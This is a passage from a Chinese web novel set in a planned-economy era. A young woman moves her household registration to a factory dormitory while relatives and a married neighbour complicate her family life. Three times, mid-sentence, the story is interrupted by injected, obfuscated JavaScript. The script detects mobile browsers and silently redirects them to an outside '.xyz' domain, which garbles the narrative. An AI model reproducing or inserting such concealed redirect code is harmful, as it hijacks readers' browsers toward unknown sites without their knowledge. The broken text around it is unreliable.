还不知道老四户口的事办好了没有,让他说,这事就不该急。 到了派出所,他去找了户籍室的小张。 “杜同志,你来得正好,有件事我忘了跟你说,这事办成了,其实还要多谢一个人,那个人姓钟。说是跟你家认识,是刑警支队的,刚才我在所长室碰到的,要不是他,”小张同志压低声音,“这事没这么快办下来。” 姓钟? 刑警支队? 杜家老三想了半天:“是不是高个子,高鼻梁,皮肤白白的。” “对对对,就是他。” 杜家知道是谁了。 二哥以前的朋友,以前关系好,前两年闹翻了,最近两年没去他家了。 钟哥。 11. 011 人民医院。 杜父推着板车把于强送到了医院,于强到医院时,上身的衣服都沾着血迹,看起来有些吓人。医务人员飞快的赶过来,把人送到了急诊室。 于强在路上的时候咳血了。 黄彩荷心慌得很,什么都办不了,只知道等在急诊室外头。 杜母跟她说话她都听不到。 杜母见妹子吓傻了,只好带着于月莺去挂号交钱。 到了挂号窗户,杜母说了名字,把钱递了过去。 “户口本带了吗?”收费窗口的护士问。 杜母可没有于强的户口本,她转头看向于月莺,“户口本带身上了吗?” 于月莺,“带了,带了。”原本他们一家三口就是准备去铁路家属大院那边的卫生所看病的,户口本带上了,这会正在于月莺身上。 于月莺把户口递给了收费窗口的护士。 “农村户口?”护士眉头一皱,声音大了些,“有没有介绍信?” 要是没有介绍信,那可不能收。 于月莺默默的掏出了大队开的介绍信。 护士接了,一看,这是外出的介绍信,不是医院看病的介绍信,眉头一下子拧了起来:“还有别的介绍信吗?” 杜母见状,说道:“同志,住院的是我妹夫,他是过来探亲的。半路上发的急病,吐了好几口血,这会在急诊室呢,您先帮我们把号挂了,回头看病的介绍信我们补上了给带过来,您看行吗?” 挂了号,后期医生才好用药。 护士沉着脸。 这不符合流程。 杜母:“人命关天的事,您帮帮忙行吗。” 护士冷着脸道:“行,就通融这一次,你们赶紧派个人回去把看病的介绍信给补上。”她嘀咕,“最近查盲流查得可严了。” “当然,我们这就去办。” 好说歹说,这边总是挂上号交了费了。 加上押金一起交了五十块钱,要是不够,后期还要补的。 护士开了收据,递过去的时候不忘提醒:“记得把看病的介绍信补上。” “办,马上就去。”杜母点头,接了收据,转头就跟于月莺商量起来。 于强的户口在松县五沟大队,不归城里管,这介绍信得去五沟大队办。 “你们大队牵了电话线吗?” “没有。”五沟大队是个穷地方,别说电话线了,都还没通电呢。 “要不你寄信回去,加急,看那边能不能开个看病的介绍信。”杜母使劲的帮着想办法。 “姨妈,您在这边生活这么久,街道那边有没有认识的人,能不能帮着办一办?”于月莺期待的看着杜母。 “你爸户口也不在街道这片啊,不归这边管,办不了。”杜母倒是认识街道办事处的人,但是户口这事责任重大,谁敢担责? 杜父迟迟不见杜母,找过来了。 杜母见状,急问:“妹夫怎么样了?” 杜父道:“从急诊室出来了,转到普通病房了,具体什么情况我也没听清,你等会去你问妹子吧。”听医生那意思,吐血是什么气郁啊,忧思过度,至于妹夫本身干不了重活的体质,说是得做详细的检查。” 别人家的事,杜父也想管太多,自己家的事都忙不过来呢。 杜母道:“没事就好。” 要是人在她这边出了事,她真是……这辈子都说不清了。 杜父道:“我现在去把板车还给别人,家里还有一堆事,我回去就不过来了。”家里有老人有孩子,这边病人情况稳住了,他得回家。 家里一堆事? 家里的事! 她的钱! 杜母的眼神一下子变了,“等会,咱们出去谈谈,我有话问你。”说完把收据塞到于月莺手里,“你先去病房。” 于月莺拿着收据,自己去了病房。’ 307病房,是个三人间。 黄彩荷看到是女儿,便问:“你姨妈呢?” “跟姨父在说事情,让我先上来。”于月莺坐到病床边,把收据递给了母亲,“姨妈付的挂号费。” 黄彩荷嗯了一声,收起收据。 于强躺在病床上,已经醒了,左手正打着吊瓶,他见外头没人进来,对黄彩荷说:“月莺的婚事得跟二姐提一提。” 黄彩荷握着他没有打针的手,“我心里有数。” 要挑个好的,不光要工作好,还要人品好,能把月莺的户口办下来。 要是还能给月莺找个正式工作,那就更好了。 - 医院外头。 杜母挑了个人少的角落,问杜父:“你怎么把咱们家辛辛苦苦存的一点钱给你妈了?咱们两口子的钱,以后老五读书的钱,怎么都给老太太了。” 杜父不说话。 哪是他出去的,是老太太自己拿了钥匙把钱拿走的。 想到这,他也怪上杜母了:“你怎么不把钥匙藏好一点。” 杜母黑着脸,“什么意思?” 杜父:“没什么意思。”懒得多说 要是真跟媳妇说了是老娘自己拿走的,估计得让他去跟老娘要回来。 这哪要得回来。 妹夫一家不走,他妈是不会还回来的。 杜母觉得杜父偏心杜奶奶,很不高兴,可还是要跟杜父讲道理:“得敏要离婚,以后要在娘家长住,老太太就这么一个闺女,不是拼命把钱往她身上贴,咱们这钱你交了过去,以后还要得回来了吗!” “傻不傻啊你!” 夫妻才是两口子,亲妈亲妹都隔了一层。 这人怎么想的。 - 另一边。 杜思苦没等到公交车,一咬牙,从铁路家属大院这边一路往机修厂的方向跑,时间不等人啊。 跑了足足半个小时,看到一趟拖拉机。 “师傅,您去哪啊?” 柴油拖拉机声音响得很,杜思苦喊了半天,跑到前面大声问了好几遍,拖拉机的司机才听到。 “去机修厂。” “师傅,我也去机修厂,能捎我一程吗?” “你要是不怕吵,就上来。” “好嘞。” 拖拉机停下了,杜思苦利索的爬上去,坐在司机师傅身边。 “抓稳了。” 还有一段路,司机话多,两人就聊了起来。 “这拖拉机是我们大队去年才买的,才用了一年,新车子。你说这明明是新东西,起步慢得很,拉粮票拉多了还不走了,耗油也狠,也不知道是哪里出了问题。”司机愁得很,这不,大队让他们来机修厂看看,是不是哪坏了。 这拖拉机买了是拉粮食的,这拉不动粮票,那么多钱不是白花了? 拖拉机杜思苦没开过,但是她来之前学过驾照开过车的。 一般车子耗油大,“是不是漏油啊?” 起步慢,“难道是发电机电量不够?” “我也不知道啊。”司机只会开车,不会修啊。 不过,他还是把杜思苦的话给记住了,漏油,发电机没电。 他忽然又想到一个隔壁大队的拖拉机出现的新问题:“你说这拖拉机打滑是怎么回事啊?” “打滑,可能是轮胎磨损太严重了。”杜思苦绞尽脑汁的想。 她也不是专业人士啊。 这小姑娘是拖拉机专家啊。 司机就问:“小姑娘,你姓什么啊?” “我姓杜,叫杜思苦,是机修厂的工人。”杜思苦道。 新来的。 司机大叔恍然大悟,“原来你是修机厂的啊,难怪懂这么多呢。”长长的噢了一声 又觉得,这搭了便车,算是认识了。 “我姓方,叫方东宝,是红旗大队的。” 红旗大队买得起拖拉机,算是比较富裕的大队。 “方叔。” “小杜。” 这下算是彻底熟了。 司机方叔热情道:“小杜啊,你回机修厂,要不跟我一块去趟维修队,听听他们怎么说。”小杜年纪是小,可经验丰富啊。 听听,刚才那拖拉机的问题他就那么随嘴一问,小杜立刻就答了,这答得有模有样,还听不出错来。 “方叔,那这次我可去不了,我得去趟机修厂所属的派出所,办落户,时间紧得很。”杜思苦道,“下回您有事,我一定来,行吗。” “也行。” 司机方叔听杜思苦说赶时间,赶紧踩足油门,轰隆隆的往机修厂去了。 这次速度快了。 拖拉机直接把杜思苦送到机修厂这边的派出所门口了。 司机方叔对这边熟得很啊。 “谢谢方叔。” “甭客气。” 杜思苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830573|158953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是真赶紧时间,再三感谢方叔之后,赶紧进了派出所,“同志,我来办落户。”没下班吧。 派出所的表上显示着四点半。 赶上了。 “落户,资料带齐了吗?销户户口本带了吗?” “带了,都带齐了。” “来,填个表。”申报迁入登记。 杜思苦拿过笔就填。 很快就填完了。 这边派出所的民警同志检查了杜思苦带来的资料,齐全得很。 申报表填完后,民警同志送到户籍室那边了。 杜思苦在外面紧张的等待。 过了一会。 民警同志出来了,资料收下去了,销户页的户口本还给杜思苦了,还给了一个回执证明,“三天后过来拿。” 三天? 杜思苦口袋里还有三哥给的十块钱跟十斤粮票,能撑一个月。 “谢谢同志,太感谢了,你们这边的工作效率真是太高了。”这是实话,东西递上去,立刻就给办了。 真是好同志。 杜思苦现在整个人都轻松了。 三天后拿户口本,她自己一个人的户口本,这户口本以后可要藏好了。 “同志,再见。” “再见。” 杜思苦神清气爽的走出了派出所的大门。 家里的户口本可以还回去了! - 派出所里头。 “方哥,刚才那姑娘户口的事您怎么这么上心啊?”这不像方哥的性子啊。 “刚才那姑娘是我宝叔用拖拉机送到门口的。”民警方哥解释原由,拖拉机那声音吵得跟什么似的。 他出去瞅了一眼,正好看到那姓杜的姑娘从宝叔的拖拉机上下来。 宝叔的熟人,那是自己人。 事情得好好办。 回头他得跟宝叔表个功。 - 机修厂,维修部。 拖拉机送过来了。 维修部的王师傅今天不在,说是亲哥过寿,要了一天假。 能修车的李组长去了出差开会去了。 这两能人都不在,其他的要么太年轻了,经验不足,要么就是压根不会。 拖拉机这可是稀罕东西,开过摸过的人都不多,哪还会修啊。 没办好,只好把维修部的副组长徐组长给叫过来了,徐副组长是个女同志,她是负责这边的后勤跟人事安排的。 修车的事,她不太懂。 拖拉机的司机方叔看到有修车师傅来了,立刻说道:“同志,我这拖拉机问题挺大,拉不了粮票,起步也慢,还特别耗油。您看看是什么毛病?” 徐副组长左瞧瞧,右瞧瞧,研究了一下,“这拖拉机能开吗?” “能开。” “能开就没毛病,你说的那些可能是拖拉机的质量问题。”徐副组长解决不了,只能圆过去。 “不可能,这车刚买的时候,起步快得很,拉粮票一点都不费劲,不像现在,拉不动。”方师傅滔滔不绝的说这拖拉机以前怎么怎么好,现在差多了。 “同志,这样,您把车放在这边,等过几天我们修好了再通知您,行吗?” 司机方叔不同意:“这位女同志,我开拖拉机过来就是抢修的,你瞧瞧这天,田里的粮票再不收,一场下来就该生芽了。收不了粮食,我们这冬天就难熬了,您就帮帮忙行吗。” 还有公粮要交,要是赶不上,得砸锅卖铁啊。 徐副组长知道农民的辛苦,但是呢,“同志,我就实话跟您说吧,我们这边修车的老师傅不在,明天才能回来,这样吧,师傅们一回来,我让他们第一个给您修,您明天过来拿车,行吗。” “也行吧。” 司机方叔突然想到了杜思苦,可仔细一想,这小姑娘年纪比较也小,不如维修部的老师傅让人放心啊。 还是明天让老师傅修吧。 今天他就不回去了,就在拖拉机上头凑和一晚。 徐副组长听到这位司机师傅答应了,心里松了口气。 刚回到办公室,就有工人过来了,“徐组长,王师傅家里人说明天还要再请一天假。” 王师傅又请一天? 李组长后天才能回来。 那刚才答应明天保证修好的拖拉机怎么办? 徐副组长眼前一黑。 - 12. 012 “同志,这个肥皂怎么卖?” 杜思苦到了供销社,从派出所出来后,她本来打算去公交站坐车回家,把户口本拿给三哥,让三哥悄悄放回去。 本来都往公交站那边走了,可路过了一个供销社。 看到供销社她就想起来女工宿舍那边她还缺不少东西,像是铝饭盒,得买一个吧,没这个中午吃不了饭。 搪瓷盒得买一个吧,没盆子不能洗漱,总不能天天脏着吧。 还有牙粉,肥皂。 日常要用的都得买。 “这边没味道的,一毛四分钱,这两边包装好的,贵一些,二毛的三毛的都有。”供销社的营业员指了指摆在最上面的,“中华牌的肥皂,五毛钱。” 中华牌的最贵的。 营业员瞧了一眼杜思苦,这旧衣烂衫的,估计是买不起最贵的。 杜思苦:“同志,我带了钱。这个一毛四分钱的能买吗?” “没带肥皂劵?” “工业劵也没有?” 杜思苦摇头。 还有肥皂劵这东西? “那你买不了。”营业员坐下来了,不招呼了。 杜思苦走近了些,小声问:“同志,你们仓库里有破损的肥皂吗,那种缺了一点的,断成两截的?那样的我也要。” 营业员心里一动。 杜思苦:“也按这个价买。” 仓库的那些破损肥皂一般不会拿出来售卖,都是损耗,有时候员工直接拿回家当福利了。 一毛四分钱。 说多不多。 “跟我来。” 杜思苦走出供销社的时候,口袋里有了一块半肥皂,整块的那个缺了点角,别外半个算是半送的。 这一毛四分钱落到了营业员的兜里,算是杜思苦花钱买了营业员‘自个’的肥皂。 铝饭盒要工业票,搪瓷盆也要工业票,暖水瓶就更不用说了,还是要工业票。 没票,有钱也没用。 人不卖。 杜思苦去了机修厂女工宿舍,找到宿管张阿姨,“张阿姨,我晚上可能会晚点回来,您这边能帮我留门吗?” 张阿姨态度并不好:“又不上夜班,大晚上的在外头做什么。” 瞧着这小杜穿着朴素,大晚上的想去哪啊? “我也不是去哪,就是回家。我呢,刚才去派出所办落户,现在要回家把户口本还回去,这一来一回只怕要好几个小时呢,估计回来天都黑了,就提前跟您说一声。”杜思苦以后可是要长期住在这的。 得在张阿姨面前留下好印像。 张阿姨一听只是回家,态度好多了,“大晚上你就搁家住一晚,明天早上再回来。晚上这外头不安全,走夜路不好。” 公交晚上都停了。 杜思苦:“我家来了亲戚,不少人呢,住不下。要是能安排好,我就住家里,要是安排不上,我就让我哥送来过来,到时候你帮忙开一下门就行。” “行。” “麻烦张阿姨了。” 杜思苦跟宿管通了气后,上了楼,去了自己的宿舍,206。 门是半开的,有人在。 是没见过面的室友还是余凤敏? 杜思苦站在门口,没进去,先敲了一下门。 她听到了脚步声,里面的人出来了。 一个斯文秀气的年轻姑娘望着杜思苦:“你找谁?” 杜思苦指了指里面,“我是厂里新来的,早上张阿姨把我们分到了这个宿舍,东西放进来了。我刚才看着里面有人,怕突然进去吓着你。” “进来吧。” 斯文秀气的姑娘觉得杜思苦还挺有礼貌的,稍稍有些放心。 她喜欢安静,不太喜欢跟很多人一起住,尤其是怕吵。其实她之前申请过两人间的宿舍,一直没成功。 后来才知道,那都是给厂子弟留的,没她们的份。 “我叫袁秀红,你叫我名字就行。” “我叫杜思苦。” 两人算是认识了。 杜思苦过来把肥皂放好就准备走了,走之前问袁秀红,“你今天晚上上夜班吗?” “不上。” 杜思苦指着袁秀红对面的床铺说道,“这个是同学,叫余凤敏,要是她回来了你跟她说一声,我晚上会晚点回来。” “好。” 袁秀红答应了。 杜思苦道了谢,很快就走了。 - 人民医院,307病房。 杜母上来了。 “二姐。”黄彩荷站起来,“来这边坐。” 杜母心情不好,刚才老两口吵架了。 老杜不听她的,不肯把钱从老太太手里要回来。 一想到钱都捏在老太太手里,她难受。 杜母看妹夫于强脸色比刚才好多了,又在输液,觉得这边用不上她了。 她想回家。 钱这事得跟老太太好好掰扯掰扯。 于是道,“我就不坐了,时候也不早了,等会晚饭做好了,我叫老三把饭给你们送过来。” 黄彩荷赶紧拉住杜母:“二姐,别让老三送了,让月莺跟你一块回去,她会干活,你都让她干。”又暗暗夸道,“月莺孩子从小就懂事,里里外外的帮着我,家里全靠她。” 杜母敷衍的点了点头。 黄月荷叹了口气,“月莺这孩子哪哪都好,就是怪我们没用,没本事给她找个好婆家。” 杜母嗯嗯两声,没接话。 她心事重重,妹妹的话她压根就没听进去。 又重复一遍,“你们好好休息,我先回去了。”好脑子里一心想着怎么把钱给要回来。 黄彩荷紧紧的握着杜母的手,这话才说了一半,怎么就要走了? 杜母抽了抽手,发现抽不出来,只以为是黄彩荷舍不得她走,“放心吧,我会再来看你们的。” 她使劲的把手抽了出来,转身走出了病房。 走得很快。 黄彩荷望着杜母的背影,半天没说话。 “妈,姨妈走了。”于月莺提醒。 “你爸这边有我陪着,你不用管,你快跟你姨妈一起回去。”黄彩荷脸色不好。 于月莺就等这句话了。 眨眼就没影了。 黄彩荷失神的坐下。 于强拍了拍她的手,“大家都各自成家了,感情跟以前不一样了,你想开些。”亲姐妹有了家庭,也是两家人了。 - 铁路家属大院。 沈洋骑着二八大杠停到了杜家门口,喊了一声,“家里有人吗?” 门是开的,应该是有人的。 杜奶奶从屋里出来,见是隔壁的沈洋,问了:“小沈,什么事啊?” 两家关系近,是老沈跟她儿子亲近。 孙辈关系倒是一般。 “杜奶奶,杜思苦在吗?”沈洋往屋里看,“我找她有事。” 找老四的? 这两人啥时候这么好了? 杜奶奶:“不在。” 把人打发走了。 老四现在找着了临时工的工作,以后说不准还能转成正式工呢。这小沈虽然工作好,但是毕竟是个结过婚的,她家老四才十八岁,年纪轻轻的,找个头婚的多好。 - 隔壁。 沈洋推着二八大杠回来了。 刘芸(沈洋母亲)正在家里洗菜呢,听着声从屋里出来了,手在围裙上擦了擦,“怎么样,见着思苦了吗?” “杜奶奶说她不在。”沈洋锁上自行车,叹了口气,往家里走。 “她晚上就回来了,等会咱们吃完饭再过去。”刘芸挺高兴的。 隔壁杜思苦又没工作,晚上不回家能去哪? 再说了。 她问过了,隔壁家沈家来了亲戚,这屋子不够住。 要不是沈洋有事找杜思苦,刘芸还想等着杜家人开口求她呢。 沈洋回到屋里,坐在书桌前。 拿出信纸,开始写信:亲爱的美姿。 何美姿。 他媳妇。 中午那会,杜思苦说看到美姿了,他立刻就追了过去,巷子深,几个拐弯人就不见了。 沈洋找了整整一下午。 派出所那边他报过失踪,可是人家不受理。 说是何美姿本人避着沈洋去过派出所说明情况,要跟沈洋解除婚姻关系。 这是家庭纠纷,派出所不管。 话说回来,沈洋找杜思苦,就是想问问她,中午那会有没有看清美姿穿的什么颜色的衣服?什么布料,什么样式的。 这次东西总能找到源头,说不定就能找着美姿了。 他想跟美姿好好谈谈,他知道美姿跟他妈处不好,但是没关系,他们单位要分房了,他争取到了一个名额。 只要美姿回来,他们就能搬出去自己单过。 沈洋把想说的话都写在了信上。 - 杜思苦赶上了机修厂那边最后一趟公交车。 到家的时候天都是亮的。 三哥呢? 杜思苦走进院里,小姑的衣服还挂在绳子上,晒得太晚了,估计没干。 她往屋里走,“三哥。” 户口本就在她怀里。 杜家老三没出来,老五倒是从西屋出来了,“姐。”她拉着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830574|158953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杜思苦进屋,关门,“你床上的被褥呢?” 她在屋子里里外外全翻了一遍,没看着啊。 这怎么说呢? 杜思苦问:“三哥呢?” “去医院给小姨姨夫他们送饭去了。”老五盯着杜思苦,“姐,你是不是有事瞒我?” 老五这脑瓜子机灵得很,一下子想到了姐一直在问三哥,于是诈道,“你有事瞒我,没瞒三哥,是不是?” 算了,还是说吧。 毕竟两人一个屋的,马上就搬走了,得跟老五说一声,不然这孩子心里得难受了。 杜思苦就说了,找着工作,被褥在宿舍,以后准备住厂里了。 “姐,你怎么说搬就搬走了,咱们俩一起住了十几年,你就扔下我了?”老五心里太难受了。 她还没有一个人住过呢。 杜思苦:“我这么大了,总不能一直让爸养着我吧。以后你学完毕业了,是不是也得工作,也得离开家。” 过两天就适应了。 老五还是难受。 杜思苦:“我搬出去这事不重要,你还是想想以后表姐住进来,你怎么跟她处吧。”于月莺表轻易不会走的。 正说着呢。 外头传来刘芸的声音,“思苦,在家吗?”声音都到院子里头了。 昨天刘姨才送了桃酥过来,虽然杜思苦没吃一口。 “老五,刘姨找我,我去看看。” 杜思苦拉开西屋的门,出去了。 刘芸是跟沈洋一起来的,手里端个盘子,里头放着切成五小片的苹果,远远的就一股果香味飘来。 苹果这可是有钱都买不着的好东西。 “思苦,快来尝尝,这是你沈大哥从单位带回来的。”刘芸特别热情,还把盘子放到了沈洋手上,“送过去给思苦尝尝。” 沈洋端着盘子过来了,“我有你有点事。” 他指了指外面,“我们去外头说。” 他媳妇的事,他不想让他妈听见。 外头? 单独? 想都不用想。 杜思苦:“就在这说吧,外头天都要黑了,被人看到传出闲话不好。” 沈洋一想也是,“那去屋里说。” 孤男寡女,在一个屋里,更不好。 杜思苦发现这沈洋在男女关系上有点没有分寸啊。 她说道:“把盘子放到桌上,我们就在那坐着说吧。”两人清清白白,有什么好避讳的。 沈洋很犹豫。 他不只想问布料衣服的事,还想跟杜思苦说,要是下次碰着何美姿了,麻烦杜思苦跟何美姿说一声,他分房了,以后能搬出去住。 就这两件事。 分房这事,毕竟是私事,沈洋没有显摆的意思,不想闹得大家都知道。 爱说说,不说拉倒。 三哥怎么还不回来? 杜思苦瞧了一眼厨房的方向,在做饭呢,等她吃完饭,要是三哥还不回来,她就把户口本悄悄塞到她妈的房间。 沈洋见杜思苦不爱搭理那样,没办法,只好主动说,“美姿中午那会穿的什么颜色的衣服你还记得吗?” “蓝色吧,就那么一晃过去的,也没看太清。”杜思苦今天忙着办户口的事,哪有心思管别的。 记不住。 刘芸见两人聊得很起劲,故意留出空间,拿了一小块苹果,往厨房去了。 杜母在忙着做饭。 晚上没什么好菜,都是青菜辣椒茄子什么的,打个鸡蛋都算是荤菜了。 刘芸把苹果塞到杜母嘴里,“尝尝,味甜多滋。” 杜母冷不丁的咬下去,又脆又甜。 几口吃完,“哪来的?” 吃了甜的,心情总算是好了一点。 刘芸笑着:“我家沈洋单位发的,他们粮食局也就是福利好些。”这是显摆上了。 像杜母的几个儿子,只有一个有正经工作,另外两个,一个下乡了,一个没事,只能找找临时工作。 “你福气好,我命苦。”杜母脸色不好看。 一天就没一件顺心事。 “别扯这些,我有正经事跟你说,你家还没吃饭吧,等会你们吃完你去我家,或者我来找你也行。”刘芸说道。 两人关系好,说话没那么讲究。 杜母:“我去找你吧,正好我也有事跟你说说。”烦心事。 话音没落呢,老五溜进来了,一副鬼精灵的样:“妈,刚才沈洋哥跟我姐说,他们单位分房了,他分到一套了!” 这沈洋大哥特意过来跟她姐说这事,什么意思啊? 分房! 杜母眼中迸出惊人的光芒! 13. 013 刘芸比杜母更吃惊。 她儿子单位分房了,她怎么不知道! 沈洋没跟她说过! 单位分房这样的头等大事,竟然不跟她这个亲妈说,这都什么都还定呢,都把亲妈忘了。 刘芸心里很不舒服。 对杜思苦也有了点看法。 杜母都顾不上锅里的菜了,抓着老五问:“老五,你没听错?真是分房?是粮食局的房吗?几室的,多少平?” 锅里的青菜点糊味了,杜母舀了勺进去,再煮煮吧。 味道好不好,那不重要。 老五没想到她妈听到分房子三个字反应这么大,隔壁家的邻居大哥分房子,关咱们家什么事啊。 她妈怎么这么激动啊。 而且啊,这事重点不在于分房子,而在于,“妈,你说沈洋大哥分房子,跟我姐说个什么劲啊。”有毛病啊。 说半天,还不走。 还给她姐递苹果。 沈洋大哥去年过年那会,结过婚的! 真不像话。 老五是过来告状的。 “老五,你看着火,我过去瞧瞧。”杜母听不进别的,脑子里只有‘分房’两个大字在里面晃荡。 要是分的二室的楼房,那沈洋这小伙子也是很有本事的嘛。 刘芸比杜母更急,刚才听到儿子分房就已经冲到外头去了。 - 杜家外屋。 盘子里的四块苹果端端正正的放着。 沈洋递来的苹果杜思苦没接。 沈洋说,单了分了房,以后杜思苦要是在路上碰着何美姿,帮他捎个口信,说以后两口子可以搬到单位的福利房去住,不用跟家里人一起了,何美姿不会再他妈(刘芸)的刁难了。 杜思苦的脑袋又疼了。 尤其是听到沈洋说以后要让何美姿过好日子,不会受苦受累。 她脑袋里像是有人不甘心,说不出的怨愤。 一股很陌生的情绪在脑中炸开。 杜思苦死死的捂着脑袋,自我劝慰:没事的,咱们跟这姓沈的没有半点关系,他沈洋跟何美姿还是谁都不关咱们的事,别气。 杜思苦觉得自己随时会抄起手边的凳子朝沈洋砸过去。 她克制住了。 记忆里又有新画面出现了。 ‘杜思苦’跟沈洋结婚了,婚后她一直住在沈家,压根就没听过沈洋单位分房的事。之后沈家的家务活全落到了杜思苦身上,洗衣做饭就不说了,冬天手上生了冻疮也要用凉水洗菜洗衣。 沈洋的工资不给她。 买什么都要手心向上要钱,后来沈家就越来越看轻她。 原以为生了孩子会好些。 孩子出生以后,她跟沈洋的矛盾变小了,跟婆婆有矛盾越来越大,沈洋的妹妹沈瑶结婚之后经常把孩子扔回娘家,婆婆把孩子往她一塞。 说什么一个也是带,两个也是带。 孩子年纪差不多,吃亏的总是她的孩子。 矛盾越来越大。 杜思苦忍不住的时候也会吵上两句,可沈洋不帮她,沈洋在她受欺负的时候从不出为她出头。 就这么熬了十年。 后来沈洋弟弟结婚,婆婆要去照顾孙子,搬走了,她这才好过一些。 沈洋弟弟结婚那婚房…… 分明就是沈洋此刻单位分到的福利房! 沈洋瞒了她十年啊! 回忆画面似乎结束了。 但是事情远远没有结束啊,听听沈洋刚才怎么说的,单位分到新房子,要带何美姿搬出去单过,不受婆家的苦。 他分明知道! 他明明知道沈家日子不好过,为什么不帮‘她’,为什么冷眼看着!既然沈洋喜欢何美姿不喜欢‘她’,为什么不早早说,早早散伙,偏要拖着她一辈子! 杜思苦脑中的情绪无限放大。 记忆里沈洋做的那些事确实该死,不是个东西。 杜思苦不劝了。 想砸就砸吧,大不了去趟派出所,最多最多关上几天。 两家毕竟认识。 再不济那就是丢了工作,重新再找一个。 ‘丢工作’这个想法一出,脑中瞬间风平浪静。 同时脑中冒出一个想法:为这么个男人丢了工作,把自己搭进去,不值得。 杜思苦脑子不疼了,情绪正常了。 但是,此刻她对沈洋的印像极差极差,眼前的沈洋虽然什么都没做,但是,他之后做的那些事,意味着此人在婚姻中品性极差。 “沈洋!”刘芸从厨房冲过来了,“跟我回家!” 分房的事得回家说。 杜母紧随其后,“小沈啊,都到饭点了,到阿姨家吃一口吧,来,坐坐坐。”她极快的冲到门口,一把抓住在走的刘芸跟沈洋,“坐坐,咱们不是还没聊完吗。” 刘芸这会没心情,她只想知道,大儿子单位分房的事是不是真的。 “黄姐,咱们的事明天再说,我家这边有点急事,我带沈洋回去,咱们明天见。”拽着沈洋就要走。 杜母松开刘芸,只拉沈洋。 她劲大,把人给拉住了, “小沈,你单位分福利房的事,是不是真的?”杜母不遮掩了,直接问。 沈洋愣住了。 黄阿姨(杜母)怎么知道的? 这事他就只跟杜思苦一个人说了啊。不对,杜思苦刚刚一直跟他在一起,没离过开,应该不是杜思苦说的。 “沈洋,这么大个事,你不怎么不跟家里说?”刘芸脸色难看。 跟到杜家来说。 这八没一撇呢。 再说了,有了这单位福利房,挑个更好的姑娘当儿媳妇,不难。 沈洋脸色比刘芸还难看。 这事怎么还让他妈知道了,事情麻烦了。 - 老五在厨房看火,等了一会,还不见杜母回来,用抹布捏着锅把手,把锅拿下放到地上了。 跑到外面找人,她妈呢? 这饭做到一半,人不见了。 咦? 她姐呢? 正念着,就见杜思苦从杜母房里出来,顺手把手带上。 “姐,你去妈那屋做什么?” 杜思苦不紧不慢:“我刚才路过的时候看到桌上的毛线球掉到地上了,就进去捡起来。”冬天了,杜母搞了一些毛线球,准备织毛衣。 老五也没多想,只问:“妈怎么不在屋里?厨房还有一个菜没有炒呢。” 杜思苦往隔壁一指,连个沈字都懒得说。 三哥还没回来,她就不等了。 户口本已经放到她妈的柜子里了,好找。 老五就不明白了,她妈跑到隔壁沈家去做什么? 杜思苦往奶奶的屋看了眼,问老五:“奶奶呢?” 老五:“带小姑她们去找妇联的老朋友去了。” 杜思苦听明白了,这是为小姑离婚的事忙呢,找熟人。 “爸呢?” “好像说是还什么板车去了,这一直没回来,我估计是又跟人家喝上了。”老五真是一猜一个准。 家里没人大人啊。 杜思苦往厨房走,“家里的碗放哪了?”买不到铝饭盒,拿一个瓷碗去厂里吃饭,不过分吧。 要是有人笑就笑呗。 总不能饿着肚子吧。 “都在碗柜里头呢。”老五跟在杜思苦后面,“姐,你要带碗去厂里?” “对。”杜思苦回头叮嘱,“别跟妈他们说。” 老五:“怎么不带铝饭盒,这瓷碗容易碎。姐你等会,我知道哪有新的铝饭盒。” 在奶奶屋! “我给你拿!” 没过一个,一个崭新的铝饭盒出现在杜思苦眼前。 这个铝饭盒不仅有花纹,还印着字呢,一看就不是便宜货。 老五把铝饭盒塞到杜思苦手里,“去年过年有客人给爷爷拜年,送的。”奶奶给藏起来了。 这,直接拿不好吧。 这是新的。 杜思苦倒不是怕,就是这行为……以后要惹事的。 “家里有旧的吗?”杜思苦问。 “有,我用的就是旧的,”老五说,“没这个大,在我垮包里呢。”比这个小一些,旧一些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14830575|158953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 太好了。 杜思苦:“你用不惯新的,你的给我用吧,这个你自己用。”不过,“等会奶奶回来你得跟她说一声。” 她用旧的安心。 “姐,你怎么又这样,用新东西怎么了,都是自家的东西。”老五叨叨咕咕的,她姐就这样,舍不得吃舍不得用,只会一门心思干活。 这样会吃苦头的。 “你旧饭盒洗了吗?我装点饭菜,等会就走。”杜思苦心道,以后她就住厂里了,没什么事就不回家了。 至于表姐于月莺想顶她户口的事,概率为零。 至于沈洋,这上赶着去沈家做牛做马是不可能了。 做梦。 “姐,你这就走啊?” “真走啊?” 